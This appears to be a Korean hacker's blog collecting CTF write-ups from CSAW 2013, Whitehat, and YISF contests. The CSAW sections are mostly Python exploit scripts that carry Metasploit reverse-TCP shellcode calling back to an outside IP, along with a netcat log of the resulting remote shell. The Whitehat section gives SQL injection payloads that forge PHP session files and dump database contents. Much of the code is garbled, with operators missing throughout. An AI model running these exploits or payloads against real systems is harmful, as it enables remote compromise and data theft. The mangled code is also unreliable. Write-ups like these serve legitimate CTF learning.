왜 이문제를 헤맷는지 모르겟지만.


어쨋든 대회중엔 시간이 하루밖에 안나서 못푼 문제다.


근데 오늘 갑자기 아이디어가 팍 떠오르고 바로 exploit을 시도했다.



fil_chal



Aslr : Off (fork())

NX : Off (execstack : X)


from struct import pack, unpack

import time


p = lambda x : pack("

up = lambda x : unpack("


HOST = "128.238.66.217"

HOST = "192.168.242.129"

PORT = 34266


offset = 0x41c


# linux/x86/shell_reverse_tcp - 95 bytes

# http://www.metasploit.com

# Encoder: x86/shikata_ga_nai

# VERBOSE=false, LHOST=220.117.247.200, LPORT=12071,

# ReverseConnectRetries=5, ReverseAllowProxy=false,

# PrependSetresuid=false, PrependSetreuid=false,

# PrependSetuid=false, PrependSetresgid=false,

# PrependSetregid=false, PrependSetgid=false,

# PrependChrootBreak=false, AppendExit=false,

# InitialAutoRunScript=, AutoRunScript=

shellcode = ("\xd9\xcf\xd9\x74\x24\xf4\x5d\x33\xc9\xb1\x12\xba\x5c\xa8"

"\x72\xf6\x83\xed\xfc\x31\x55\x13\x03\x09\xbb\x90\x03\x80"

"\x60\xa3\x0f\xb1\xd5\x1f\xba\x37\x53\x7e\x8a\x51\xae\x01"

"\x78\xc4\x80\x3d\xb2\x76\xa9\x38\xb5\x1e\xf6\xce\xb2\x16"

"\x6e\x33\x3d\x89\x48\xba\xdc\x65\xf0\xec\x4f\xd6\x4e\x0f"

"\xf9\x39\x7d\x90\xab\xd1\x51\xbe\x38\x49\xc6\xef\xdc\xe0"

"\x78\x79\xc3\xa0\xd7\xf0\xe5\xf4\xd3\xcf\x66")




def exploit(addr):

exploit = "\x90" * 0x384

exploit = shellcode

exploit = "\x90" * (offset - len(exploit))

exploit = p(addr) * 2# eip

return exploit


print "[*] CSAW Exploitation Level3 Exploit" # by sweetchip

print "[*] Start BroutFore."

for i in range(0xbf879000, 0xbf000000, -0x200):

s = socket(AF_INET,SOCK_STREAM)

s.connect((HOST,PORT))


print hex(i)


s.recv(4096)

s.recv(4096)

s.send("csaw2013") # trig bof

s.recv(4096)

s.send("S1mplePWD")

s.recv(4096)

s.send("-1")

s.send(exploit(i))



raw_input("\ngive me shell! > ")


브루트 포싱으로 쉘을 따는건데 약간 느려서 주소를 설정해서 작성햇다.


대회시간대가 아니라 csaw 서버에서 못풀고 로컬에서 풀엇다 ㅠㅠ



///////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////


http://pastebin.com/1Uchkd6E


새로운 풀이


from struct import pack, unpack

from socket import *

import time


p = lambda x : pack("

up = lambda x : unpack("


HOST = "192.168.0.109"

PORT = 34266


# linux/x86/shell_reverse_tcp - 95 bytes

# http://www.metasploit.com

shellcode = ("\xd9\xcf\xd9\x74\x24\xf4\x5d\x33\xc9\xb1\x12\xba\x5c\xa8"

"\x72\xf6\x83\xed\xfc\x31\x55\x13\x03\x09\xbb\x90\x03\x80"

"\x60\xa3\x0f\xb1\xd5\x1f\xba\x37\x53\x7e\x8a\x51\xae\x01"

"\x78\xc4\x80\x3d\xb2\x76\xa9\x38\xb5\x1e\xf6\xce\xb2\x16"

"\x6e\x33\x3d\x89\x48\xba\xdc\x65\xf0\xec\x4f\xd6\x4e\x0f"

"\xf9\x39\x7d\x90\xab\xd1\x51\xbe\x38\x49\xc6\xef\xdc\xe0"

"\x78\x79\xc3\xa0\xd7\xf0\xe5\xf4\xd3\xcf\x66")


freespace = 0x0804b000 # rwx

recv = 0x08048890

pr = 0x08048943

offset = 0x41c


print "[*] CSAW Exploitation Level3 Exploit" # by sweetchip

s = socket(AF_INET,SOCK_STREAM)

s.connect((HOST,PORT))


print s.recv(4096)

print s.recv(4096)

s.send("csaw2013")


print s.recv(4096)

s.send("S1mplePWD")


print s.recv(4096)

s.send("-1")


print s.recv(4096)

time.sleep(1)



payload = "A"*(0x41c 4) # ebp

payload = p(recv) # rop_start

payload = p(pr)

payload = p(4)

payload = p(freespace)

payload = p(len(shellcode))

payload = p(0)


s.send(payload)

s.send(shellcode)

raw_input("\ngive me shell! > ")


"""

C:\Users\Administrator>nc -lvp 12071

listening on [any] 12071 ...

192.168.0.1: inverse host lookup failed: h_errno 11004: NO_DATA

connect to [192.168.0.93] from (UNKNOWN) [192.168.0.1] 51765: NO_DATA

whoami

sweetchip

"""






버퍼 주소까지 그냥 줘서 까나리만 맞춰주고 금방 잘 풀수 있엇다.


처음에는 canary가 잇는줄 모르고 분명히 exploit 코드가 맞는데 라고 생각하면서 고집부리다가 피본 문제다;;


canary를 맞춰주지 않으면 return 이 아닌 exit 을 하기때문에 eip가 변조되지 않는다.



exploit2



Aslr : Off (fork())

NX : Off (execstack : X)


from socket import *

from struct import pack, unpack

import time


#csaw exploitation level2

p = lambda x : pack("

up = lambda x : unpack("


buffer = 0x00000000


# linux/x86/shell_reverse_tcp - 95 bytes

# http://www.metasploit.com

# Encoder: x86/shikata_ga_nai

# VERBOSE=false, LHOST=220.117.247.200, LPORT=12071,

# ReverseConnectRetries=5, ReverseAllowProxy=false,

# PrependSetresuid=false, PrependSetreuid=false,

# PrependSetuid=false, PrependSetresgid=false,

# PrependSetregid=false, PrependSetgid=false,

# PrependChrootBreak=false, AppendExit=false,

# InitialAutoRunScript=, AutoRunScript=

shellcode = ("\xd9\xcf\xd9\x74\x24\xf4\x5d\x33\xc9\xb1\x12\xba\x5c\xa8"

"\x72\xf6\x83\xed\xfc\x31\x55\x13\x03\x09\xbb\x90\x03\x80"

"\x60\xa3\x0f\xb1\xd5\x1f\xba\x37\x53\x7e\x8a\x51\xae\x01"

"\x78\xc4\x80\x3d\xb2\x76\xa9\x38\xb5\x1e\xf6\xce\xb2\x16"

"\x6e\x33\x3d\x89\x48\xba\xdc\x65\xf0\xec\x4f\xd6\x4e\x0f"

"\xf9\x39\x7d\x90\xab\xd1\x51\xbe\x38\x49\xc6\xef\xdc\xe0"

"\x78\x79\xc3\xa0\xd7\xf0\xe5\xf4\xd3\xcf\x66")


HOST = "128.238.66.212"

#HOST = "192.168.242.128"

PORT = 31338


s = socket(AF_INET,SOCK_STREAM)

s.connect((HOST,PORT))


print "[*] CSAW Exploitation Level2 Exploit" # by sweetchip


buffer = s.recv(4)

print "[*] Buffer : " hex(up(buffer))

canary = s.recv(4)

print "[*] Canary : " hex(up(canary))

s.recv(12070)


exploit = ""

exploit = "\x90"*60

exploit = shellcode

exploit = "\x90" * (0x800-len(exploit))

exploit = canary

exploit = "\x90" * (0x80c-len(exploit))

exploit = "SWCP"

exploit = buffer


print "[*] Sending Exploit Codes.."

s.send(exploit)


raw_input("\ngive me shell! > ")






csaw대회에서 비교적 쉬운 포너블 문제로 생애 처음으로 ctf중에 리모트 쉘을 따는것을 성공했다.


아 물론 이 문제는 아니지만.. ㅎㅎ


한줄요약 : Simple Buffer Overflow



exploit1



Aslr : Off (fork())

NX : Off (execstack : X)


from Tkinter import Tk

from socket import *

import time


HOST = "128.238.66.212"

PORT = 31337


a = "A"*1016

a = '1'


print "[*] Sending Exploit Codes.."


s = socket(AF_INET,SOCK_STREAM)

s.connect((HOST,PORT))

s.recv(12070)

time.sleep(0.4)

s.send(a)

time.sleep(0.4)

print s.recv(12070)


raw_input("\nok?")


#{7c1fbb502632bffa6e62ba6fa847681f}



여러모로 멘탈붕괴를 제대로 먹여준 화이트햇..


그중 웹 문제는 타임 오버로 풀게되어 인증을 하지 못했엇는데 그 아쉬움을 포스팅으로 풀어보려 합니다 ㅋㅋ




문제 페이지는 이렇게 생겻는데 카라의 한승연 팬페이지를 컨셉으로 잡은 취약점이 존재하는 페이지입니다.




왠지 꼭 비밀글을 읽어야 할거같은 분위기라서 분위기에 따라가기로 했습니다.



우선 풀이방법을 한줄요약하면 SQL Injection과 SESSION 조작입니다.


팬페이지에는 LFI 취약점이 존재하며, INC 파일을 include 시키는 방식이었습니다.


위 파라미터에 아무 값을 삽입하면 include 에러가 발생하며, inc 파일을 찾을수 없다고 나오는데, 그 에러 메세지를 찾아


inc 파일들을 살펴볼 수 있었습니다. inc 파일에는 웹페이지의 소스코드가 담겨있엇으며, 대부분 페이지의 소스를 빼올 수 있었습니다.


예선 개인전의 경우 로그인 페이지에서 한글을 집어넣어 세션을 변조시키는 문제였는데 단체전에선 취약점이 패치되고 어드민 페이지에서 취약점이 발생합니다.


어드민 페이지엔 아무런 필터링이 없어서 그냥 sql injection이 가능햇는데 이 부분에서 더이상 뭘 해야 할지 생각이 안나서...


어드민 페이지에 세션을 건드리는 것을 보아 세션 문제로 방향을 잡고 시작했습니다.


어드민 로그인 페이지에into outfile 을 이용하여 세션 파일 위치인 /var/lib/php5에 sess_***** 파일을 생성하는데


계속 로그인 실패라고 떠서.. 몇시간 삽질해보고 난 다음에 생각난게 return 값이 없어서.... 였다는 것이 떠오르고;;;


load_file 과 outfile 로 여러번 건드린 끝에 세션 원본 형식을 얻어내는데 성공하고 [세션파일 생성 - phpsessid 변조 - 변조한 세션 로그인]


일정한 형식을 바꾸고 비밀글이 보이는 조건을 맞춰줘 가면서 아이디를 readme 로 바꾸고 로그인을 시도했습니다.


여러번 삽질 끝에.. readme로 로그인을 성공했습니다.


0' union select 'memdata|s:85:"a:4:{s:3:"idx";s:1:"1";s:2:"id";s:6:"readme";s:2:"pw";s:3:"123";s:5:"level";s:1:"1";}";' into outfile '/var/lib/php5/sess_sweetchip'#


값을 바꿀때마다 옆에 붙은 숫자도 맞춰줘야 해서 나름 노가다 작업이었습니다.



기쁜마음에 key를 얻으려고 비밀글을 읽는 순간...; 노가다의 향기가 오고 새벽이라 빨리 자고싶은데 잠도 못자고ㅠㅠ..


쨋든 다시 방법을 생각해보는 도중 이를 통해 sql injection으로 key를 빼오는 방법을 택했습니다.


세션에 인젝션 페이로드를 삽입해 공격해서 readme 가 있는 페이지에서 sql 구문을 참조할때 인젝션 시키는 것이었습니다. [뭐라 설명해야하지..]


하지만 인젝션 페이로드를 넣으려는 부분이 싱글쿼터로 싸여 있어 싱글쿼터를 하나 더 붙여줘야 했던 상황이엇는데


고민 하다가 hex로 집어넣기로 했습니다.


memdata|s:211:"a:4:{s:2:"id";s:6:"readme";s:2:"pw";s:3:"123";s:5:"level";s:1:"1";s:3:"idx";s:125:"0' union select unhex(hex(COLUMN_NAME)) from information_schema.columns where TABLE_SCHEMA != 'information_schema' limit 0,1#";}";
#k3yk3y - column name

memdata|s:211:"a:4:{s:2:"id";s:6:"readme";s:2:"pw";s:3:"123";s:5:"level";s:1:"1";s:3:"idx";s:125:"0' union select unhex(hex(TABLE_NAME)) from information_schema.columns where TABLE_SCHEMA != 'information_schema' limit 0,1#";}";
#k3yk3y - table name

시간이 다가올수록 급해져서 실수도 많아지고 미칠뻔 했습니다.. ㅋㅋ



공격 구문이 제대로 먹히면 위처럼 값이 나오게 됩니다.

제가 여기서 하나 실수한게 잇는데 table_schema 를 안구했다는 것입니다.

memdata|s:224:"a:4:{s:2:"id";s:6:"readme";s:2:"pw";s:3:"123";s:5:"level";s:1:"1";s:3:"idx";s:138:"0' union select unhex(hex(TABLE_SCHEMA)) from information_schema.columns where TABLE_NAME = 'k3yk3y' and COLUMN_NAME = 'k3yk3y' limit 0,1#";}";
#k3y_1s_h3r3

시간이 진짜 급해져서 어느덧 10분 남기고 ㅋㅋ 점점 머릿속이 하얘져서 sql 구문도 이게 맞나 싶을정도로 멘붕상태였습니다.

결국은 제시간에 인증 못했습니다 ㅋㅋ


대회가 끝난 다음 한숨한번 쉬고 끝을 보자 해서 나머지 과정을 시행 했습니다.


memdata|s:140:"a:4:{s:2:"id";s:6:"readme";s:2:"pw";s:3:"123";s:5:"level";s:1:"1";s:3:"idx";s:55:"0' union select k3yk3y from k3y_1s_h3r3.k3yk3y where 1#";}"; # key!!




위 키가 진짜인지 아닌지는 인증을 못해 알순 없지만.. 대충 맞다고 예상 하고 있습니다 ㅋㅋ


30분만 시간이 더 있엇다면. .ㅠㅠ


Flag : 488821687a1efe563e073fca374e439a






닉네임 : 맛있는 치킨파티


ㅎㅎ 문제들 재밋는게 많고 작년에 처음 나가서 26위인가 했엇는데 이번해는 20등 상승했네요!


포렌식 200 브레이크 쓰루도 해보고.. [브레이크 쓰루 자체가 첨이네요]


그리고... 10위안에 못들것 같았는데 들다니.. 신기합니다 ㅎㅎㅎ


풀이 첨부합니다.


2013_yisf_sweetchip.pdf



서버상에 바이너리 파일 한개와 crack.txt, admin_hash 파일이 존재하는 것을 볼수 있습니다.


문제 설명을 보면


대회 rule에 말씀드린 바대로 현재 잘 풀리지 않고 있는

문제에 대한 힌트를 제공해 드리겠습니다.


=========================================================

level6 : snprintf(), truncate vulnerability

level7 : timing issue, 1초는 매우 길다!

level8 : anti reversing (elf header)

level9 : simple reversing and dictionary crack

level10 : 푸는 방법이 3가지)

1) system() 함수를 이용 (초딩)

2) 오버플로우 이용 (중딩)

3) type conversion memory leak (고딩)

=========================================================



마지막까지 최선을 다하시어 "all clear" 획득하시길 바랍니다!^^




/////////




/home/gostop/chal - 문제 바이너리입니다.


/home/gostop/admin_hash - chal 프로그램에 의해 생성된 특정 인물의

hash 값입니다. 특정 인물이 사용했던 원래의 암호가 이 문제의 키 값입니다.


/home/gostop/crack.txt - crack에 활용하는 사전 파일입니다.

이 사전을 이용할 경우 답이 나옵니다.


% 주의사항 %


대회 인증 서버에 정답 값을 brute force 하는 행위는 금지입니다.

적발될 시 그에 상응하는 조치가 있을 예정입니다.



대충 안내를 보고 문제의 의도를 파악할 수 있습니다 [브루트 포싱]


그렇다면 프로그램이 대충 어떻게 돌아가는지 분석해 보도록 하겠습니다.


int __cdecl sub_8048544(int a1, int a2)

{

int result; // eax@8

int v3; // ecx@8

unsigned int i; // [sp 28h] [bp-330h]@5

FILE *v5; // [sp 2Ch] [bp-32Ch]@5

unsigned __int8 v6; // [sp 37h] [bp-321h]@5

int v7; // [sp 38h] [bp-320h]@1

int v8; // [sp 238h] [bp-120h]@1

int v9; // [sp 338h] [bp-20h]@6

int v10; // [sp 33Ch] [bp-1Ch]@6

int v11; // [sp 340h] [bp-18h]@6

int v12; // [sp 344h] [bp-14h]@6

int v13; // [sp 348h] [bp-10h]@6

int v14; // [sp 34Ch] [bp-Ch]@1


v14 = *MK_FP(__GS__, 20);

memset(&v8, 0, 0x100u);

memset(&v7, 0, 0x200u);

if ( a1 != 2 )

exit(0);

if ( strlen(*(const char **)(a2 4)) > 0x1E )

exit(0);

v5 = fopen("/etc/dic.txt", "r");

v6 = **(_BYTE **)(a2 4);

for ( i = 0; i < v6; i )

{

v9 = 0;

v10 = 0;

v11 = 0;

v12 = 0;

v13 = 0;

fgets((char *)&v9, 18, v5);

}

*((_BYTE *)&v9 strlen((const char *)&v9) - 1) = 0;

sprintf((char *)&v8, "%s%s", &v9, *(_DWORD *)(a2 4) 1);

sprintf((char *)&v7, "/bin/echo -n %s|/usr/bin/md5sum > passwd.hash", &v8);

system((const char *)&v7);

result = puts("passwd.hash is generated.");

if ( *MK_FP(__GS__, 20) != v14 )

__stack_chk_fail(v3, *MK_FP(__GS__, 20) ^ v14);

return result;

}


소스를 보시고 정적분석과 디버거를 함께 하는 동적분석을 같이 진행하시면 chal 바이너리 인자에 asdfgh 같은


글자를 넣는다면 맨 앞 글자가 사라지고 sdfgh 가 들어가는 것을 확인하실 수 있는데,


그렇게되서 'dic내용중하나 sdfgh' 같이 문자열이 완성됩니다.


/bin/echo -n 은 줄바꿈 없이 출력이고, md5sum 은 기본제공 프로그램[?]으로 md5 해쉬를 해주는 프로그램이며


그 결과를 passwd.hash에 저장합니다.


그러므로 'dic내용중하나 sdfgh' 이런 내용을 전부다 해쉬시켜서 admin_hash의 값과 비교한 다음 평문을 구합니다.


그리고 평문에서 인자로 넘겻던 값을 구하면 그 값이 플래그가 될 것입니다.



그리고 대회당시 저는 이 부분 부터 풀지 못했는데 특정인물의 hash 값이라고 해서


/etc/passwd 에 있는 유저를 인자로 넘겨 해쉬를 만드는 것으로 추정하고 풀었는데 결국 풀지 못했습니다.


대회 후에 다시 풀어보니 dic 파일 안에 있는 것이 특정인물이었던 것을 알게 되었습니다.....


허탈하지만 문제는 풀어야 하므로 원래 작성했던 스크립트에 두줄을 추가시켯습니다.


import md5


f = open("crack.txt","rb")

a = f.read()

f.close


b = a.split('\x0a')


print len(b)

k = 0

hash = "a18003d80ddc806496c6ca03f06537d7"

for i in range(len(b)):

for j in range(len(b)):

k = 1

if md5.md5(b[i] b[j][1:]).hexdigest() == hash:

print "[!] Found!!!!!"

print "[*] plain-text : " b[i] b[j][1:]

print "[*] Flag : " b[j]

print "[*] calc num : " str(k)

raw_input("go?")




Flag : whetstone





1 ~ 10위까지의 스코어보드 본선은 1~30위 총 30명이 진출합니다.


2013년 7월 26일 오전 10시 ~ 오후 10시 12시간동안 진행된 CTF에서 예선 10위로 본선을 올라가게 되었습니다.


다른 분들 요청이 있어서 Write up을 직접 올리도록 하겠습니다.


레벨 1 ~ 레벨 8까지의 풀이가 적혀있습니다.



Junior CTF Write-up[404error].pdf



9번 풀이는 바로 다음 포스팅에 적을 것입니다.


10번은 시간 보고 적어보겠습니다.



안녕하세요


얼마전에 열린 순천향대 정보보호 페스티벌 문제 풀이를 하나 더 풀어보려고 합니다.


그동안 귀차니즘 때문에 안했던 것을 이번에 하게 되네요 ㅎㅎ;;


이번에는 매우 매우 간단하게 하도록 하겠습니다.


프로그램은 확인해본 결과 C#으로 프로그래밍 된 윈도우 모바일 프로그램 이었습니다.



그래서 닷넷 디컴파일러, .net reflector 을 이용해서, 디컴파일을 한 결과, 여러가지 함수가 있었습니다.


그 함수를 분석 한 결과 다음 과 같이 프로그래밍 해보겠습니다.


이러한 패스워드에 연관된 코드들을 하나하나 수집된 것들을 바탕으로 프로그램 코드를 작성합니다


프로그램 언어는 C#으로 짜여진 코드입니다.



CODE --------------------------------------------------------------------


using System;

using System.Collections.Generic;

using System.Linq;

using System.Text;

using System.Threading.Tasks;


namespace yisf

{

class Program

{

static void Main(string[] args)

{


char[] charSet = new char[] {

'2', '0', '1', '2', '_', 'S', 'e', 'c', 'u', 'r', 'i', 't', 'y', 'F', 'i', 'r',

's', 't', '_', 'F', 'i', 'g', 'h', 't', 'i', 'n', 'g', '!', '!', '!', ':', ')'};




string str = "ecnis";

byte num = Convert.ToByte("11", 2);

string str1 = string.Concat(new object[]

{

"CIH", "_YI", charSet[5], charSet[0x13], new string(str.ToCharArray().Reverse().ToArray()), 200, num, "_", "Y2K"

});

Console.WriteLine("password is " str1);

Console.ReadKey();




}

}

}


C# 언어로 프로그래밍된 프로그램입니다.

위의 문자 배열과 str 과 바이트 넘버를 모두 합해서 str1 이라는 변수에 저장을 한 다음에

console.writeline 을 이용해서 출력 합니다.



Password is CIH_YISFsince2003_Y2K


그 당시 정답을 맞췄긴 햇는데, 이걸 다시 보니 헷갈리네요.. ㅎㅎ


만약 틀린게 있닫면 덧글로 달아주시면 감사하겠습니다.




+ Recent posts